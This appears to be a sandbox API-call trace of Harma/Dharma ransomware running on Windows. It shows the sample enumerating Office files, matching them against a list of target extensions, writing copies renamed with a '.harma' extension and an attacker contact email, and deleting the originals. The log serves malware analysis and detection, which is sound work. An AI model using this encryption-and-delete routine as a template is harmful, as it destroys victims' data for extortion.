lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.644] lstrlenW (lpString=".dbf") returned 4 [0148.644] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.644] lstrlenW (lpString=".1cd") returned 4 [0148.644] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.644] lstrlenW (lpString=".jpg") returned 4 [0148.644] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.644] lstrcmpiW (lpString1=".MML", lpString2=".harma") returned 1 [0148.644] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0148.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0148.645] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=312400) returned 1 [0148.645] CloseHandle (hObject=0x364) returned 1 [0148.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0148.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0148.646] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.646] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.446] GetLastError () returned 0x0 [0149.446] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x4c450, lpOverlapped=0x0) returned 1 [0149.578] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0149.584] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.584] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.585] SetEndOfFile (hFile=0x344) returned 1 [0149.585] CloseHandle (hObject=0x344) returned 1 [0149.585] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.585] SetEndOfFile (hFile=0x364) returned 1 [0149.598] CloseHandle (hObject=0x364) returned 1 [0149.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0149.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.599] lstrlenW (lpString=".doc") returned 4 [0149.599] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0149.599] lstrlenW (lpString=".docx") returned 5 [0149.599] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0149.599] lstrlenW (lpString=".pdf") returned 4 [0149.599] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0149.599] lstrlenW (lpString=".xls") returned 4 [0149.599] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0149.599] lstrlenW (lpString=".xlsx") returned 5 [0149.599] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0149.599] lstrlenW (lpString=".ppt") returned 4 [0149.599] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0149.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.599] lstrlenW (lpString=".zip") returned 4 [0149.599] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0149.599] lstrlenW (lpString=".rar") returned 4 [0149.599] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0149.599] lstrlenW (lpString=".bz2") returned 4 [0149.599] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0149.599] lstrlenW (lpString=".7z") returned 3 [0149.599] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0149.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.600] lstrlenW (lpString=".dbf") returned 4 [0149.600] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0149.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.600] lstrlenW (lpString=".1cd") returned 4 [0149.600] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0149.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.600] lstrlenW (lpString=".jpg") returned 4 [0149.600] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0149.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.600] lstrlenW (lpString=".doc") returned 4 [0149.600] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0149.600] lstrlenW (lpString=".docx") returned 5 [0149.600] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0149.600] lstrlenW (lpString=".pdf") returned 4 [0149.600] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0149.600] lstrlenW (lpString=".xls") returned 4 [0149.600] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0149.600] lstrlenW (lpString=".xlsx") returned 5 [0149.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0149.600] lstrlenW (lpString=".ppt") returned 4 [0149.600] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0149.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.600] lstrlenW (lpString=".zip") returned 4 [0149.600] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0149.600] lstrlenW (lpString=".rar") returned 4 [0149.600] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0149.600] lstrlenW (lpString=".bz2") returned 4 [0149.600] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0149.600] lstrlenW (lpString=".7z") returned 3 [0149.600] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0149.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.601] lstrlenW (lpString=".dbf") returned 4 [0149.601] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0149.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.601] lstrlenW (lpString=".1cd") returned 4 [0149.601] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0149.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0149.601] lstrlenW (lpString=".jpg") returned 4 [0149.601] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0149.601] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0149.601] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0149.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.979] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=13240) returned 1 [0149.979] CloseHandle (hObject=0x344) returned 1 [0149.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0150.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.037] lstrlenW (lpString=".doc") returned 4 [0150.037] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.037] lstrlenW (lpString=".docx") returned 5 [0150.037] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0150.037] lstrlenW (lpString=".pdf") returned 4 [0150.037] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.037] lstrlenW (lpString=".xls") returned 4 [0150.037] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.037] lstrlenW (lpString=".xlsx") returned 5 [0150.037] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0150.037] lstrlenW (lpString=".ppt") returned 4 [0150.037] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.037] lstrlenW (lpString=".zip") returned 4 [0150.037] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.037] lstrlenW (lpString=".rar") returned 4 [0150.037] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.037] lstrlenW (lpString=".bz2") returned 4 [0150.037] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.037] lstrlenW (lpString=".7z") returned 3 [0150.037] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.037] lstrlenW (lpString=".dbf") returned 4 [0150.037] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.037] lstrlenW (lpString=".1cd") returned 4 [0150.037] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.037] lstrlenW (lpString=".jpg") returned 4 [0150.037] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.038] lstrlenW (lpString=".doc") returned 4 [0150.038] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString=".docx") returned 5 [0150.038] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0150.038] lstrlenW (lpString=".pdf") returned 4 [0150.038] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString=".xls") returned 4 [0150.038] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString=".xlsx") returned 5 [0150.038] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0150.038] lstrlenW (lpString=".ppt") returned 4 [0150.038] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.038] lstrlenW (lpString=".zip") returned 4 [0150.038] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString=".rar") returned 4 [0150.038] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0150.038] lstrlenW (lpString=".bz2") returned 4 [0150.038] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0150.038] lstrlenW (lpString=".7z") returned 3 [0150.038] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.038] lstrlenW (lpString=".dbf") returned 4 [0150.038] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.038] lstrlenW (lpString=".1cd") returned 4 [0150.038] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0150.038] lstrlenW (lpString=".jpg") returned 4 [0150.038] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.039] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0150.039] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0150.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.040] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=41864) returned 1 [0150.040] CloseHandle (hObject=0x34c) returned 1 [0150.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0150.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.041] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.041] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.041] GetLastError () returned 0x0 [0150.041] ReadFile (in: hFile=0x34c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xa388, lpOverlapped=0x0) returned 1 [0150.044] WriteFile (in: hFile=0x21c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0150.046] ReadFile (in: hFile=0x34c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.046] WriteFile (in: hFile=0x21c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.046] SetEndOfFile (hFile=0x21c) returned 1 [0150.046] CloseHandle (hObject=0x21c) returned 1 [0150.046] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.046] SetEndOfFile (hFile=0x34c) returned 1 [0150.049] CloseHandle (hObject=0x34c) returned 1 [0150.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.050] lstrlenW (lpString=".doc") returned 4 [0150.050] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString=".docx") returned 5 [0150.050] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0150.050] lstrlenW (lpString=".pdf") returned 4 [0150.050] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString=".xls") returned 4 [0150.050] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.050] lstrlenW (lpString=".xlsx") returned 5 [0150.050] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0150.050] lstrlenW (lpString=".ppt") returned 4 [0150.050] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.050] lstrlenW (lpString=".zip") returned 4 [0150.050] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.050] lstrlenW (lpString=".rar") returned 4 [0150.050] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString=".bz2") returned 4 [0150.050] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString=".7z") returned 3 [0150.050] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.050] lstrlenW (lpString=".dbf") returned 4 [0150.050] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.050] lstrlenW (lpString=".1cd") returned 4 [0150.050] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.051] lstrlenW (lpString=".jpg") returned 4 [0150.051] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.051] lstrlenW (lpString=".doc") returned 4 [0150.051] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString=".docx") returned 5 [0150.051] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0150.051] lstrlenW (lpString=".pdf") returned 4 [0150.051] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString=".xls") returned 4 [0150.051] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.051] lstrlenW (lpString=".xlsx") returned 5 [0150.051] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0150.051] lstrlenW (lpString=".ppt") returned 4 [0150.051] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.051] lstrlenW (lpString=".zip") returned 4 [0150.051] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.051] lstrlenW (lpString=".rar") returned 4 [0150.051] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString=".bz2") returned 4 [0150.051] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString=".7z") returned 3 [0150.051] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.051] lstrlenW (lpString=".dbf") returned 4 [0150.051] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.051] lstrlenW (lpString=".1cd") returned 4 [0150.051] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0150.052] lstrlenW (lpString=".jpg") returned 4 [0150.052] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.052] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0150.052] lstrlenW (lpString="ASSET.VRD") returned 9 [0150.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.052] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1694) returned 1 [0150.052] CloseHandle (hObject=0x34c) returned 1 [0150.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0150.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.053] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.053] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.053] GetLastError () returned 0x0 [0150.054] ReadFile (in: hFile=0x34c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x69e, lpOverlapped=0x0) returned 1 [0150.055] WriteFile (in: hFile=0x21c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0150.056] ReadFile (in: hFile=0x34c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 